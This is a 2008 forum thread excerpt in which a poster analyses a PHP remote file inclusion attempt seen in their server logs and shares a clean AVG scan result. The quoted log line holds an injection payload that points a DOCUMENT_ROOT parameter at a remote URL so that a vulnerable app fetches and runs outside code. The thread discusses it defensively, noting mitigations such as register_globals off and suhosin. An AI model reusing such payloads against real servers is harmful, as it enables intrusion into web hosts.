Quote:
Originally Posted by bobby666
thanks, now i have a virus alert on my pc
|
First, script was posted ... and there is no virus in that ....
Quote:
80.93.54.47 ... GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1
That referenced URL still works, so if you want you can retrieve the 'exploit' code. But all it apparently does is to try various methods to execute "id", probably to locate web servers that are vulnerable and maybe even running as "root" user.
Obviously this is a brute force; that site doesn't have an index.php.
Is that anything new? Or is it just some script kiddie trying to re-use an aged exploit? But on the other hand, I havn't seen such a suhosin alert in months. Anybody knows which PHP script might be vulnerable to this attack vector.
[Update: I've received two mails pointing out that such vulnerablities are found in some PHP apps every now and then, so it might just be some script kiddie scanning brute force once more. Supposedly this cannot be exploited when register_globals is off and/or suhosin is used.]
|
AVG:
"Scan ""Shell extension scan"" was finished."
"Infections found:";"0"
"Infected objects removed or healed:";"0"
"Not removed or healed:";"0"
"Spyware found:";"0"
"Spyware removed:";"0"
"Not removed:";"0"
"Warnings count:";"0"
"Information count:";"0"
"Scan started:";"Saturday, August 23, 2008, 6:35:38 PM"
"Scan finished:";"Saturday, August 23, 2008, 6:35:39 PM (less than one second)"
"Total object scanned:";"1"
"User who launched the scan:";"User"